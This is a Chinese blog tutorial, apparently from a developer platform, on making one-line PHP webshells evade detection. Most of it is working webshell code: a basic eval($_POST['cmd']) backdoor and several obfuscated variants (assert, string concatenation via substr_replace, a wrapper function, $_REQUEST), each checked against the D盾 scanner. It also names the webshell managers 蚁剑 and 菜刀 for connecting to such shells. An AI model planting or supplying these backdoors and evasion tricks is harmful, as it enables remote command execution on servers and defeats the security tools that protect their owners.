简单的一句话木马免杀

最简单的一句话木马:

<?php @eval($_POST['cmd']); ?>

前面的<?php ?>是php的文件格式,@是让程序在执行错误的情况下也不要报错,eval()函数是将括号里的内容都当作代码执行,$_POST['cmd']通过cmd这个参数post提交数据。

可以使用【hackbar】插件来传递post参数如下图:

指定传递的url选择请求方式利用cmd传递数据得到回显结果

除了这样命令执行,还可以用蚁剑、菜刀进行连接。

一句话木马简单免杀

从上面的演示中可以看到一句话木马的简单、高效,但就是因为其过于简单,查杀起来也很方便,所以要对其进行变形,让它不容易被发现。可以看到普通的一句话木马能被低版本的D盾直接扫出,所以免杀必不可少。

一、assert()

如果过滤了eval,可以使用assert绕过

assert() 会检查指定的 assertion 并在结果为true时执行

<?php @assert($_POST['cmd']); ?>

可以看出这方法虽然可行但依旧被D盾查出后门,这是因为杀软已经将大量内置函数加入了特征库。

二、字符串拼接

当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。substr_replace()函数

substr_replace(string,replacement,start,length)

参数

描述

string

必需,规定检查的字符串。

replacement

必需,规定要插入的字符串。

start

必需,规定在字符串的何处开始替换。若为0,从头开始。

length

可选。规定要替换多少个字符。默认是与字符串长度相同。

<?php

       $a=substr_replace("assexx","rt",4);

       @$a($_POST['cmd']);

?>

在这个马中,是将第四位和第五位,也就是xx替换成rt,最终拼接成为assert

除了substr_replace(),还有一种拼接方法

<?php

       $a="a"."s";

       $b="s"."e"."rt";

       $c=$a.$b;

       $c($_POST['cmd']);

?>

可以看出这两种方法虽然起到了一定的作用让级别从5级降到了4级但还是没有达到我们的要求

三、函数

可以利用函数来构造一句话木马

<?php

       function shyshy($a){

       assert($a);

       }

       @shyshy($_POST['cmd']);

?>

先是构造了shyshy()这一函数,然后调用函数,变成一句话木马。

可以看到这种方法效果显著但仍然无法绕过查杀。

四、request请求

适用于过滤了GET和POST的情况下

<?php

    $a=$_REQUEST['cmd'];

    eval($a);

?>

可以看到这种方法绕过了2.0.8版本的D盾,初步可以得知这个版本的D盾使用的是关键字特征查杀。

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值